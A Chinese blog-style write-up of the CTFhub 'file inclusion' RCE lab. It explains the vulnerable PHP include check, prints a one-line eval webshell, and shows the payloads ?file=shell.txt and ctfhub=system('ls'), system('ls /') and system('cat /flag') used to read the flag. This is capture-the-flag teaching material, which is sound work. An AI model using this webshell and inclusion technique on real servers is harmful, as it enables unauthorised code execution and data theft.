当前位置: 首页 > news >正文

CTFhub-RCE-文件包含

访问网站

我们仔细看一下php代码,重点是

if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];

这里有一个strpos(string,find,start)函数

意思在string字符串中找find的位置,start是查找的开始位置

那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET["file"]

否则就输出Hacker。
点击shell :

<?php eval($_REQUEST['ctfhub']);?>

是将ctfhub传的参数用php执行

题目的目的也是让我们执行shell木马那么我们就 

        在网站后输入:

?file=shell.txt

        shell中要传的参数为  ctfhub=system("ls");    (hackbar  的 body 的参数)

                                                     点击   hackbar 中的


接着返回上一级目录,发现flag: ctfhub=system("ls /");

                        ​​​​​​​                ​​​​​​​        ​​​​​​​       点击  hackbar 中的

接下来打开flag :   ctfhub=system("cat /flag");

                                                          点击 hackbar 中的

相关文章:

  • JS 注释
  • 【开源】基于JAVA的电子元器件管理系统
  • Postman for Mac(HTTP请求发送调试工具)v10.18.10官方版
  • SOME/IP 协议介绍(四)RPC协议规范
  • 利用RoboBrowser库和爬虫代理实现微博视频的爬取
  • acwing算法基础之搜索与图论--匈牙利算法求二分图的最大匹配数
  • Win Docker Desktop + WSL2 部署PyTorch-CUDA服务至k8s算力集群
  • 个人Typora存储图片专用
  • 破解tomcat密码并上传webshell
  • 双写绕过 [极客大挑战 2019]BabySQL 1
  • 社区牛奶直供站:创新供应链,满足消费者需求
  • 三、Vue3中使用Pinia修改State的方法
  • bzero和memset的区别
  • Spring-Security前后端分离权限认证
  • Android 基本属性绘制文本对象FontMetrics
  • 收藏网友的 源程序下载网
  • [译] 怎样写一个基础的编译器
  • 【347天】每日项目总结系列085(2018.01.18)
  • 230. Kth Smallest Element in a BST
  • fetch 从初识到应用
  • Vue UI框架库开发介绍
  • Vue 动态创建 component
  • vue 配置sass、scss全局变量
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 湖南卫视:中国白领因网络偷菜成当代最寂寞的人?
  • 前端之Sass/Scss实战笔记
  • 浅谈Golang中select的用法
  • 软件开发学习的5大技巧,你知道吗?
  • 算法系列——算法入门之递归分而治之思想的实现
  • 携程小程序初体验
  • 《天龙八部3D》Unity技术方案揭秘
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • ​【原创】基于SSM的酒店预约管理系统(酒店管理系统毕业设计)
  • ​3ds Max插件CG MAGIC图形板块为您提升线条效率!
  • ​DB-Engines 11月数据库排名:PostgreSQL坐稳同期涨幅榜冠军宝座
  • #大学#套接字
  • $分析了六十多年间100万字的政府工作报告,我看到了这样的变迁
  • (M)unity2D敌人的创建、人物属性设置,遇敌掉血
  • (Matalb分类预测)GA-BP遗传算法优化BP神经网络的多维分类预测
  • (论文阅读30/100)Convolutional Pose Machines
  • (十一)图像的罗伯特梯度锐化
  • (使用vite搭建vue3项目(vite + vue3 + vue router + pinia + element plus))
  • (四)【Jmeter】 JMeter的界面布局与组件概述
  • (原)Matlab的svmtrain和svmclassify
  • (转)菜鸟学数据库(三)——存储过程
  • (转载)Linux网络编程入门
  • ***汇编语言 实验16 编写包含多个功能子程序的中断例程
  • .Family_物联网
  • .NET CF命令行调试器MDbg入门(二) 设备模拟器
  • .net core IResultFilter 的 OnResultExecuted和OnResultExecuting的区别
  • .NET/C# 使用反射注册事件
  • .NET8.0 AOT 经验分享 FreeSql/FreeRedis/FreeScheduler 均已通过测试
  • .NET下的多线程编程—1-线程机制概述
  • .net中应用SQL缓存(实例使用)
  • @EnableWebMvc介绍和使用详细demo